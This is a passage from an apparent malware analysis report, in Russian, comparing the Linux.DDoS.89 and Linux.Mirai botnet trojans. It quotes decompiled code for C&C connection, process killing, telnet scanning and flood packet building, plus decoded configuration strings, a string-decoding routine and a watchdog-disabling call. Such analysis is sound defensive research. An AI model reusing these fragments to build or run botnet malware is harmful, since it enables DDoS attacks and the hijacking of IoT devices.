        if ( handlers.handlers[v7].number == number )
          goto handler_found;
      }
    }
  }
  return v6;
}
```

Запуск обработчика команды в **Linux.DDoS.89**:

```
void __cdecl sub_8048200(int a1, char a2, unsigned __int8 a3, target_-
parsed *a4, unsigned __int8 a5, param2 *a6)
{
  int v6; // eax@1
  int v7; // eax@4
  int v8; // eax@7
  cmd *v9; // edx@7
  int v10; // eax@12
  v6 = __libc_fork();
  if ( v6 != -1 && v6 <= 0 )
  {
    v7 = __libc_fork();
    if ( v7 == -1 )
      __GI_exit(0);
    if ( !v7 )
    {
      __GI_sleep(a1);
      v10 = getppid();
```

```
      __GI_kill(v10, 9);
      __GI_exit(0);
    }
    if ( (signed int)malware_conf.size > 0 )
    {
      v8 = 0;
      v9 = *malware_conf.entries;
      if ( a2 == (*malware_conf.entries)->number_ )
      {
LABEL_10:
        v9->func(a3, a4, a5, a6);
      }
      else
      {
        while ( ++v8 != malware_conf.size )
        {
          v9 = malware_conf.entries[v8];
          if ( v9->number_ == a2 )
            goto LABEL_10;
        }
      }
    }
  }
}
```

Основные отличия от Linux.DDoS.87

Изменился генератор псевдослучайной последовательности. Также изменился порядок действий при старте троянца. В первую очередь выполняется работа с сигналами, при этом игнорируется SIGINT:

```
__GI_sigemptyset(&v43);
__GI_sigaddset(&v43, SIGINT);
__GI_sigprocmask(SIG_BLOCK, &v43, 0)
```

Затем устанавливаются обработчики других сигналов:

```
__bsd_signal(SIGCHLD, SIGEV_NONE);
  __bsd_signal(SIGTRAP, change_host);
```

```
//change_host:
void __cdecl change_host()
{
  decode(4u);
  decode(5u);
  cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);
  cnc.sin_port = *(_WORD *)get_config_entry(5, 0);
  encode(4u);
  encode(5u);
}
```

Затем процесс получает IP-адрес используемого для выхода в Интернет сетевого интерфейса путем соединения с DNS-сервером Google (**Linux.DDoS.87** получал этот адрес, соединяясь с собственным управляющим сервером):

```
int getMyIp()
{
  int v0; // esi@1
  int result; // eax@1
  __int16 v2; // [esp+20h] [ebp-1Ch]@2
  __int16 v3; // [esp+22h] [ebp-1Ah]@2
  int v4; // [esp+24h] [ebp-18h]@2
  int v5; // [esp+30h] [ebp-Ch]@1
  v5 = 16;
  v0 = __GI_socket(2, 2, 0);
  result = 0;
  if ( v0 != -1 )
  {
    v2 = 2;
    v4 = 0x8080808;
    v3 = 0x3500;
    __libc_connect(v0, &v2, 16);
    __GI_getsockname(v0, &v2, &v5);
    __libc_close(v0);
    result = v4;
  }
  return result;}
```

После этого запускается локальный сервер:

```
int start_server()
{
  int result; // eax@1
  struct flock *v1; // eax@2
  char v2; // ST1C_1@2
  unsigned __int32 v3; // eax@2
  _DWORD *v4; // ebx@4
  char v5; // [esp+Ch] [ebp-30h]@0
  sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4
  int v7; // [esp+30h] [ebp-Ch]@1
  v7 = 1;
  result = __GI_socket(2, 1, 0);
  server_socket = result;
  if ( result != -1 )
  {
    __GI_setsockopt(result, 1, 2, &v7, 4);
    v1 = (struct flock *)__GI___libc_fcntl(server_socket, 3, 0, v5);
    BYTE1(v1) |= 8u;
    __GI___libc_fcntl(server_socket, 4, v1, v2);
    v3 = 0x100007F;
    if ( !can_bind )
      v3 = selfaddr;
    v6.sin_family = 2;
    v6.sin_addr.s_addr = v3;
    v6.sin_port = 0xE5BBu; //48101
    v4 = getLastError();
    *v4 = 0;
    if ( __GI_bind(server_socket, &v6, 16) == -1 )
    {
      if ( *v4 == EADDRNOTAVAIL )
        can_bind = 0;
      v6.sin_family = 2;
      v6.sin_addr.s_addr = 0;
      v6.sin_port = 0xE5BBu; //48101
      __libc_connect(server_socket, &v6, 16); //connect to socket
      __GI_sleep(5);
```

```
      __libc_close(server_socket);
      result = start_server();
    }
    else
    {
      result = __GI_listen(server_socket, 1);
    }
  }
  return result;
}
```

Если троянцу не удается использовать системный вызов **bind**, он соединяется с соответствующим портом, так как предполагается, что порт занят другим ранее запущенным процессом **Linux.DDoS.89**. В таком случае ранее запущенный процесс завершит свое выполнение. После запуска сервера заполняется структура **sockaddr_in**, в которую записывается хранящийся в исполняемом файле адрес управляющего сервера:

```
.text:0804BBEF                  mov     ds:cnc.sin_family, 2
.text:0804BBF8                  add     esp, 10h
.text:0804BBFB                  mov     ds:cnc.sin_addr.s_addr, XXXXXXXXh
.text:0804BC05                  mov     ds:cnc.sin_port, 5000h
```

Затем от имени процесса вычисляется следующая функция:

```
def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2,4,6,8,10,12]:
        z =  (~a[i % len(a)] & 0xff)
        sum = (sum + z)&0xff
    return sum % 9
```

Возвращаемый результат этой функции служит индексом в массиве функций. Функция с соответствующим индексом будет выполнена. Список функций имеет следующий вид:

```
.rodata:080510A0 off_80510A0     dd offset start_server  ; DATA XREF:
main+4Do
.rodata:080510A4                 dd offset decode
.rodata:080510A8                 dd offset get_config_entry
.rodata:080510AC                 dd offset fill_config
```

```
.rodata:080510B0                dd offset encode
.rodata:080510B4                dd offset memncpy
.rodata:080510B8                dd offset strcmp
.rodata:080510BC                dd offset runkiller
.rodata:080510C0                dd offset change_host
```

После этого проверяется имя текущего процесса. Если оно совпадает с "`./dvrHelper`", то генерируется сигнал SIGTRAP, который приведет к смене управляющего сервера.

Заполнение конфигурации осуществляется следующим образом:

```
v2 = (char *)malloc(0xFu);
memcpy(v2, (char *)&unk_8051259, 15);
conf_entries[3].data = v2;
conf_entries[3].length = 15;
v3 = (char *)malloc(4u);
memcpy(v3, "'ь+B", 4);
conf_entries[4].data = v3;
conf_entries[4].length = 4;
v4 = (char *)malloc(2u);
memcpy(v4, "\"5", 2);
conf_entries[5].data = v4;
conf_entries[5].length = 2;
v5 = (char *)malloc(7u);
```

Конфигурация для данного образца выглядит следующим образом:

Номер	Раскодированное значение	Назначение
1	"DROPOUTJEEP"	
2	"wiretap -report='tcp://65.222.202.53:80'"	эта строка присваивается в качестве имени троянца и отображается в списке процессов
3	"listening tun0"	выводит на stdin при запуске
4	<ip-addres>	адрес управляющего сервера
5	<port>	порт управляющего сервера
6	"/proc/"	runkiller
7	"/exe"	runkiller

Номер	Раскодированное значение	Назначение
8	"REPORT %s:%s"	runkiller
9	"HTTPFLOOD"	runkiller
10	"LOLNOGTFO"	runkiller
11	"\x58\x4D\x4E\x4E\x43\x50\x46\x22"	runkiller
12	"zollard"	runkiller
13	"GETLOCALIP"	unused
14	<host>	scanner IP-адреса хоста, на который отправляется информация о зараженных устройствах
15	<port>	scanner порта хоста, на который отправляется информация о зараженных устройствах
16	"shell"	scanner
17	"enable"	scanner
18	"sh"	scanner
19	"/bin/busybox MIRAI"	scanner
20	"MIRAI: applet not found"	scanner
21	"ncorrect"	scanner
22	"TSource Engine Query"	cmd1
23	"/etc/resolv.conf"	cmd2
24	"nameserver"	cmd2

После заполнения конфигурации имя процесса изменяется на `conf[2]`, а с помощью функции **prctl** имя процесса меняется на значение `conf[1]`.

Затем осуществляется вывод в стандартный поток **stdin** `conf[3]`:

```
.text:0804BE05                lea     eax, [esp+1224h+len]
.text:0804BE0C                push    eax
.text:0804BE0D                push    3
.text:0804BE0F                call    get_config_entry
.text:0804BE14                add     esp, 0Ch
.text:0804BE17                mov     edi, [esp+1220h+len]
.text:0804BE1E                push    edi             ; len
```

```
.text:0804BE1F                  push    eax             ; addr
.text:0804BE20                  push    1               ; fd
.text:0804BE22                  call    ___libc_write
.text:0804BE27                  add     esp, 0Ch
.text:0804BE2A                  push    1               ; len
.text:0804BE2C                  push    offset newline_2 ; addr
.text:0804BE31                  push    1               ; fd
.text:0804BE33                  call    ___libc_write
```

Далее происходит создание дочерних процессов и вызов следующих функций:

```
.text:0804BEBF                  call    init_consts__
.text:0804BEC4                  call    fill_handlers
.text:0804BEC9                  call    run_scanner
.text:0804BECE                  pop     esi
.text:0804BECF                  mov     edx, [esp+1228h+var_1210]
.text:0804BED3                  mov     ebx, [edx]
.text:0804BED5                  push    ebx
.text:0804BED6                  call    runkiller
```

Функция **runkiller** в этой версии троянца не проверяет наличие файлов в директории процесса: для проверки используется PID. Процесс не будет завершен, если его PID совпадает с текущим или с родительским.

Изменениям подвергся также механизм работы с сетью. Вместо блокирующих сокетов троянец использует системный вызов select, который также обрабатывает и серверный сокет. При любом подключении к серверному сокету завершаются все дочерние процессы, запускается новый процесс-сканер и завершается текущий процесс:

```
.text:0804C1E5 socket_server_ready:                     ; CODE XREF: main
+53Ej
.text:0804C1E5                  mov     [esp+121Ch+optval], 10h
.text:0804C1F0                  lea     eax, [esp+121Ch+var_48]
.text:0804C1F7                  push    edi
.text:0804C1F8                  lea     edx, [esp+1220h+optval]
.text:0804C1FF                  push    edx
.text:0804C200                  push    eax
.text:0804C201                  push    ecx
.text:0804C202                  call    ___libc_accept
.text:0804C207                  call    kill_scanner
.text:0804C20C                  call    kill_killer
```

```
.text:0804C211                call    spawn_new_scanner
.text:0804C216                pop     ebx
.text:0804C217                pop     esi
.text:0804C218                push    9               ; sig
.text:0804C21A                neg     [esp+1228h+var_120C]
.text:0804C21E                mov     ecx, [esp+1228h+var_120C]
.text:0804C222                push    ecx             ; int
.text:0804C223                call    ___GI_kill
.text:0804C228                mov     [esp+122Ch+fd], 0 ; status
.text:0804C22F                call    ___GI_exit
```

Также на управляющий сервер теперь не отсылается MAC-адрес сетевого адаптера, а команды из сети принимаются по одной.

Функция run_scanner, позаимствованная у троянцев семейства **Linux.BackDoor.Fgt** и предназначенная для поиска в сети уязвимых устройств, была немного изменена. Так, адрес сервера, на который отсылается информация об уязвимых устройствах, извлекается в этой версии троянца из конфигурации.

Из списка выполняемых типов атак исчез HTTP flood, сами команды были переупорядочены:

Номер	**Тип**
0	UPD random
1	TSource
2	DNS flood
3	TCP flood 2 options
4	TCP flood random data
5	TCP flood
6	UDP over GRE
7	TEB over GRE

В исследованном образце вирусописатели попытались реализовать атаку DNS amplification: теперь адрес DNS-сервера извлекается либо из файла resolv.conf, либо из списка публичных DNS-серверов, зашитых в тело троянца.

Linux.Mirai

SHA1: 7e0e07d19b9c57149e72a7ed266e0c8aa5019a6f

Модифицированная версия троянцев Linux.DDoS.87 и Linux.DDoS.89. Основные отличия от **Linux.DDoS.89**:

- в некоторых образцах троянца появилась функция самоудаления;
- троянец научился отключать предотвращающий зависание операционной системы сторожевой таймер watchdog (чтобы исключить перезагрузку устройства);
- имя процесса заменяется на случайную последовательность, состоящую из символов [a-z 0-9];
- изменилась структура конфигурации;
- при обнаружении процесса с именем "`.anime`" функция **Runkiller** не только завершает его работу, но и удаляет исполняемый файл;
- вновь появился метод атаки HTTP Flood, отсутствовавший в **Linux.DDoS.89**;
- если не удалось создать сокет и подключиться к нему, соответствующая функция ищет владеющий сокетом процесс и завершает его.

Конфигурация в этой версии троянца имеет следующий вид:

Номер	Значение	Где используется
3	listening tun0	main вывод на stdin
4	Host	IP-адрес управляющего сервера
5	Port	порт управляющего сервера
6	"https://youtube.com/watch?v=dQw4w9WgXcQ"	
7	"/proc/"	runkiller
8	"/exe"	runkiller
9	" (deleted)"	
10	"/fd"	runkiller
11	".anime"	runkiller
12	"REPORT %s:%s"	runkiller
13	"HTTPFLOOD"	runkiller
14	"LOLNOGTFO"	runkiller
15	"\x58\x4D\x4E\x4E\x43\x50\x46\x22"	runkiller
16	"zollard"	runkiller

Номер	Значение	Где используется
17	"GETLOCALIP"	
18	Host	
19	Port	
20	"shell"	
21	"enable"	
22	"system"	
23	"sh"	
24	"/bin/busybox MIRAI"	
25	"MIRAI: applet not found"	
26	"ncorrect"	
27	"/bin/busybox ps"	
28	"/bin/busybox kill -9 "	
29	"TSource Engine Query"	
30	"/etc/resolv.conf"	
31	"nameserver"	
32	"Connection: keep-alive"	
33	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"	
34	"Accept-Language: en-US,en;q=0.8"	
35	"Content-Type: application/x-www-form-urlencoded"	
36	"setCookie('"	
37	"refresh:"	
38	"location:"	
39	"set-cookie:"	
40	"content-length:"	
41	"transfer-encoding:"	

Номер	Значение	Где используется
42	"chunked"	
43	"keep-alive"	
44	"connection:"	
45	"server: dosarrest"	
46	"server: cloudflare-nginx"	
47	"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"	User Agent
48	"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"	User Agent
49	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"	User Agent
50	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"	User Agent
51	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"	User Agent

Все образцы троянца используют функцию сокрытия строк следующего вида:

```
def decode(str_enc):
  return "".join([chr(ord(x) ^ 0x22) for x in str_enc])
```

При запуске троянец удаляет с диска собственный исполняемый файл, затем блокирует сигнал остановки процессов SIGINT с помощью sigprocmask. Устанавливает параметр SIG_IGN для SIGCHLD, а также обработчик для SIGTRAP.

Затем троянец пытается открыть на чтение и запись файл `/dev/watchdog` (также проверяется `/dev/misc/watchdog`) и, если попытка увенчалась успехом, отключает сторожевой таймер watchdog (чтобы исключить перезагрузку устройства).

```
ioctl(fd, WDIOC_SETOPTION, WDIOS_DISABLECARD)
```

После этого троянец переходит в корневую папку и обращается к адресу 8.8.8.8:53, чтобы получить IP-адрес своего сетевого интерфейса.

Затем вычисляет функцию от значения `argv[0]`:

```
def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2,4,6,8,10,12]:
        z =  (~a[i % len(a)] & 0xff)
        sum = (sum + z)&0xff
        #print "%x %x %x" % (z, sum, sum % 9)
    return sum % 9
```

Эта функция возвращает число от 0 до 8, которое является индексом в массиве функций:

```
off_8055DC0     dd offset bind_socket   ; DATA XREF: main+109o
.rodata:08055DC4                        dd offset sub_80517E0
.rodata:08055DC8                        dd offset sub_8051730
.rodata:08055DCC                        dd offset create_config
.rodata:08055DD0                        dd offset sub_8051760
.rodata:08055DD4                        dd offset sub_80523F0
.rodata:08055DD8                        dd offset strcopy
.rodata:08055DDC                        dd offset runkiller
.rodata:08055DE0                        dd offset sub_804E900
```

Если значение **argv[0] = = "./dvrHelper"**, то родительскому процессу отсылается сигнал SIGTRAP (для которого ранее был установлен обработчик). Обработчик, в свою очередь, заменяет позаимствованный из конфигурации IP-адрес и порт сервера, к которому будет выполняться подключение.

Далее запускается слушающий сокет на адресе 127.0.0.1:48101. Если этот порт занят другим процессом, запускается функция, которая находит владеющий сокетом процесс и завершает его.

Затем троянец генерирует имя в виде случайной последовательности, состоящей из символов [a-z 0-9], и записывает его в `argv[0]`. С помощью функции **prctl** имя процесса меняется на случайное.

Далее происходит создание дочерних процессов и завершение родительского. Все последующие шаги выполняются в дочернем процессе – в частности, заполняется структура, содержащая обработчики. Затем запускается функция сканирования уязвимых telnet-узлов и функция, завершающая процессы других троянцев. После этого запускается обработчик поступающих от управляющего сервера команд. Если обнаруживается попытка соединения с локальным сервером, завершаются все дочерние процессы, запускается процесс-потомок с целью сканирования уязвимых telnet-узлов, а родительский процесс завершается.

Для сравнения на иллюстрациях далее показаны фрагменты кода **Linux.DDoS.87** и **Linux.Mirai**.

```
37  int v38; // [esp+50h] [ebp-14h]@2
38
39  v28 = calloc(a1, 4u);
40  v32 = sub_804CB20(a3, a4, 2, 0);
41  v29 = sub_804CB20(a3, a4, 3, 0xFFFF);
42  v33 = sub_804CB20(a3, a4, 4, 64);
43  v34 = sub_804CB20(a3, a4, 5, 1);
44  v30 = sub_804CB20(a3, a4, 6, 0xFFFF);
45  v4 = sub_804CB20(a3, a4, 7, 0xFFFF);
46  v35 = sub_804CB20(a3, a4, 0, 512);
47  v36 = sub_804CB20(a3, a4, 1, 1);
48  v5 = sub_804CB20(a3, a4, 19, 0);
49  v6 = __GI_socket(2, 3, 6);
50  fd = v6;
51  result = v6 + 1;
52  if ( result )
53  {
54    v38 = 1;
55    if ( __GI_setsockopt(fd, 0, 3, &v38, 4) != -1 )
56    {
57      v37 = v5;
58      v38 = 0;
59      if ( (signed int)a1 > 0 )
60      {
61        v8 = 0;
62        do
63        {
64          v28[v8] = calloc(0x5E6u, 4u);
65          v12 = v28[v38];
66          *(_BYTE *)v12 = 69;
67          *(_BYTE *)(v12 + 1) = v32;
68          v13 = (_WORD *)(v12 + 44);
69          v14 = __ROR2__(v35 + 52, 8);
70          *(_WORD *)(v12 + 2) = v14;
71          *(_BYTE *)(v12 + 8) = v33;
72          v15 = __ROR2__(v29, 8);
73          *(_WORD *)(v12 + 4) = v15;
74          if ( v34 )
75            *(_WORD *)(v12 + 6) = 64;
76          *(_BYTE *)(v12 + 9) = 47;
77          *(_WORD *)(v12 + 22) = 8;
78          *(_DWORD *)(v12 + 12) = dword_8056A70;
79          v16 = *(_DWORD *)(a2 + 24 * v38);
```

Фрагмент кода Linux.DDoS.87

```
43  int v44; // [esp+78h] [ebp-14h]@2
44
45  v31 = calloc(a1, 4u);
46  v35 = sub_804A950(a3, a4, 2, 0);
47  v32 = sub_804A950(a3, a4, 3, 0xFFFF);
48  v36 = sub_804A950(a3, a4, 4, 64);
49  v37 = sub_804A950(a3, a4, 5, 1);
50  v33 = sub_804A950(a3, a4, 6, 0xFFFF);
51  v4 = sub_804A950(a3, a4, 7, 0xFFFF);
52  v38 = sub_804A950(a3, a4, 0, 512);
53  v39 = sub_804A950(a3, a4, 1, 1);
54  v5 = sub_804A950(a3, a4, 19, 0);
55  v6 = __GI_socket(2, 3, 6);
56  v34 = v6;
57  result = v6 + 1;
58  if ( result )
59  {
60    v44 = 1;
61    if ( __GI_setsockopt(v34, 0, 3, &v44, 4) != -1 )
62    {
63      v40 = v5;
64      v44 = 0;
65      if ( (signed int)a1 <= 0 )
66      {
67        v29 = v38 + 8;
68        v30 = v38 + 66;
69      }
70      else
71      {
72        v8 = 0;
73        do
74        {
75          v31[v8] = calloc(0x5E6u, 4u);
76          v13 = v31[v44];
77          *(_BYTE *)v13 = 69;
78          v14 = (_WORD *)(v13 + 58);
79          *(_BYTE *)(v13 + 1) = v35;
80          v15 = __ROR2__(v38 + 66, 8);
81          *(_WORD *)(v13 + 2) = v15;
```

Фрагмент кода Linux.Mirai